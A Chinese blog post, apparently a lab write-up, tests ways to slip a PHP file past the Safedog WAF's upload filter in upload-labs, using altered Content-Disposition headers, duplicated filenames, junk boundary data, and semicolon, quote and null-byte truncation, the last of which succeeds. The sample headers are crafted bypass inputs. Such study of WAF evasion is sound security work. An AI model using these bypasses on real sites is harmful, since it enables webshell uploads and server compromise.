• 文件上传与安全狗


    目录

    环境搭建

    文件上传数据分析

    waf拦截原理

    上传测试

    字符变异

    变换 Content-Disposition 的值

    顺序颠倒

    交换 name 和 filename 的顺序

    数据重复

    boundary 内容重复

    filename 重复

    数据溢出

    boundary 字符串中加入垃圾数据

    boundray 末尾插入垃圾数据

    name 与 filename 之间插入垃圾数据

    multipart/form-data 与 boundary 之间插入垃圾数据

    数据截断

    回车换行截断

    分号截断

    引号截断

    00 截断(success)


    环境搭建

    1. 使用phpstudy2016,因为2018不会生成apache服务
    2. 下载安全狗 —> 参考

    注意,要下载apache版

    漏洞防护规则可以在这里看

    在网站防护—漏洞防护设置—上传防护中对文件上传进行防护

    文件上传数据分析

    前端上传页面需要指定 enctype 为 multipart/from-data 才能正常上传文件。

    一个正常的文件上传数据包大致如下:

    1. POST /upload-lab/Pass-01/index.php HTTP/1.1
    2. Host: 192.168.111.167
    3. User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0
    4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    6. Accept-Encoding: gzip, deflate
    7. Content-Type: multipart/form-data;
    8. boundary=---------------------------338226918236832126084030069411
    9. Content-Length: 986
    10. Origin: http://192.168.111.167
    11. Connection: close
    12. Referer: http://192.168.111.167/upload-lab/Pass-01/index.php
    13. Cookie: PHPSESSID=37tvo07m8lu02b0qdvefjtbua7
    14. Upgrade-Insecure-Requests: 1
    15. -----------------------------338226918236832126084030069411
    16. Content-Disposition: form-data; name="upload_file"; filename="php.png"
    17. Content-Type: image/png
    18. <?phpxx?>
    19. -----------------------------338226918236832126084030069411
    20. Content-Disposition: form-data; name="submit"
    21. 上传
    22. -----------------------------338226918236832126084030069411--
    • multipart/form-data(表示该请求是一个文件上传请求)
    • boundary 字符串:作用为分隔符,以区分 POST 数据

    文件上传在数据包中可修改的地方

    • Content-Disposition:一般可更改
    • name:表单参数值,不能更改
    • filename:文件名,可以更改
    • Content-Type:文件 MIME,视情况更改
    • boundary:内容划分,可以更改

    waf拦截原理

    waf的检测主要基于如下

    • 文件名:解析文件名,判断是否在黑名单内。
    • 文件内容:解析文件内容,判断是否为webshell。
    • 文件目录权限:该功能需要主机WAF实现,比如云锁。

    目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析,比如安全狗。

    大致步骤如下:

    • 获取Request Header里的Content-Type值中获取boundary值
    • 根据第一步的boundary值,解析POST数据,获取文件名
    • 判断文件名是否在拦截黑名单内

    上传测试

    以upload-labs第一关为例,进行测试

    安全狗的检测规则是只要filename中包含php关键词就拦截,不管你是文件名包含还是后缀包含敏感词都拦截

    1. 上传正常文件,但是内容为马的文件

    可见并不拦截,安全狗未对文件内容进行任何的过滤

    form-data词和name字段值可以加引号或者不加引号都不会影响上传,但是引号必须要成对出现,否则上传失败。

    但是filename对引号进行改动或去掉引号则会被拦截

    1. #正常字段
    2. Content-Disposition: form-data; name="upload_file"; filename="php.png"
    3. #form-data词和name字段值可以加引号或者不加引号都不会影响上传,但是引号必须要成对出现,否则上传失败
    4. Content-Disposition: form-data; name=upload_file; filename="1.png"
    5. Content-Disposition: form-data; name='upload_file'; filename="1.png"
    6. Content-Disposition: 'form-data'; name=upload_file; filename="1.png"
    7. Content-Disposition: "form-data"; name=upload_file; filename="1.png"
    8. #但是filename值如果对引号进行改动或去掉引号则会被拦截
    9. Content-Disposition: form-data; name=upload_file; filename=2.png

    如下对filename值去掉引号,被拦截

    字符变异

    变换 Content-Disposition 的值

    某些 WAF 在解析的时候,认为 Content-Disposition 值一定是 form-data,造成绕过。其实 Content-Disposition 可以任意变换或为空。

    Content-Disposition: form-d    ata; name="upload_file"; filename="1.png"
    Content-Disposition: fora; name="upload_file"; filename="1.png"
    Content-Disposition:name="upload_file"; filename="1.png"

    如将 Content-Disposition 的值置为空也不影响正常上传

    尝试绕过,失败

    顺序颠倒

    交换 name 和 filename 的顺序

    因为规定了 Content-Disposition 必须在最前面,所以只能交换 name 和 filename 的顺序。

    有的 WAF 可能会匹配 name 在前面,filename 在后面,可以导致绕过。

    Content-Disposition: form-data; filename="1.php"; name="upload_file"

    数据重复

    boundary 内容重复

    如下内容,可见上传的是第一个she.png(也不一定)

    但是这两个filename只要有一个存在php关键词就会被检测。如果waf取的文件名时只取了一个就会被 Bypass。

    filename 重复

    Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";

    数据溢出

    boundary 字符串中加入垃圾数据

    boundray 字符串的值可以为任何数据(有一定的长度限制),当长度达到 WAF 无法处理时,而 Web 服务器又能够处理,那么就可以绕过 WAF 上传文件

    除了最后一个boundary值,其他几个boundary值都需要一致,否则会上传失败。但是如果在一个boundary值后面加个逗号隔开,就可以插入任意的数据,此时这几个boundary无需一致也不会影响上传

    WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9

    除了最后一个boundray,其他几个均插入一样的垃圾数据,但是无论加多少还是会被拦截!!

    boundray 末尾插入垃圾数据

    boundary 可以插入任何数据,那么就可以在 boundary 字符串末尾加入大量垃圾数据。这里还是拦截

    name 与 filename 之间插入垃圾数据

    name 与 filename 之间插入大量垃圾数据。

    fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf

    加多少都没用

    multipart/form-data 与 boundary 之间插入垃圾数据

    无法绕过

    数据截断

    回车换行截断

    POST 请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若 WAF 匹配文件名到换行截止,则可以绕过

    拦截

    分号截断

    若 WAF 匹配文件名到分号截止,则可以绕过

    Content-Disposition: form-data; name="upload_file"; filename="2.png;.php"

    引号截断

    php<5.3 单双引号截断特性。

    Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
    Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

    00 截断(success)

    在 url 中 %00 表示 ascll 码中的 0 ,而 ascii 中 0 作为特殊字符保留,所以当 url 中出现 %00 时就会认为读取已结束。这里使用 [0x00] 代替 16 进制的 00 字符

    Content-Disposition: form-data; name="upload_file"; filename="asd.php[0x00].jpg"

    上传文件,使用 Burp 抓包,将 filename 的值改为:asd.php;.jpg

    后打开 hex,(分号的 16 进制为 0x3b)修改 16 进制内容,把 3b 改成 00:

    成功绕过

  • 相关阅读:
    【状语从句练习题】although vs but
    Qt实现多人聊天室(单聊、群聊、文件传输)
    字符串的常用方法-增删改查、转换方法split
    Oracle 快速入门
    uni-app 之 下拉刷新,上拉加载,获取网络列表数据
    升级iOS CocoaPods 版本
    JDBC 编程 (使用Java操作MySQL数据库)
    英语——名言篇——成语
    掌握Power Pages & Power Apps 画布应用,创造无限可能!
    SpringMVC第一天
  • 原文地址:https://blog.csdn.net/qq_44159028/article/details/125439513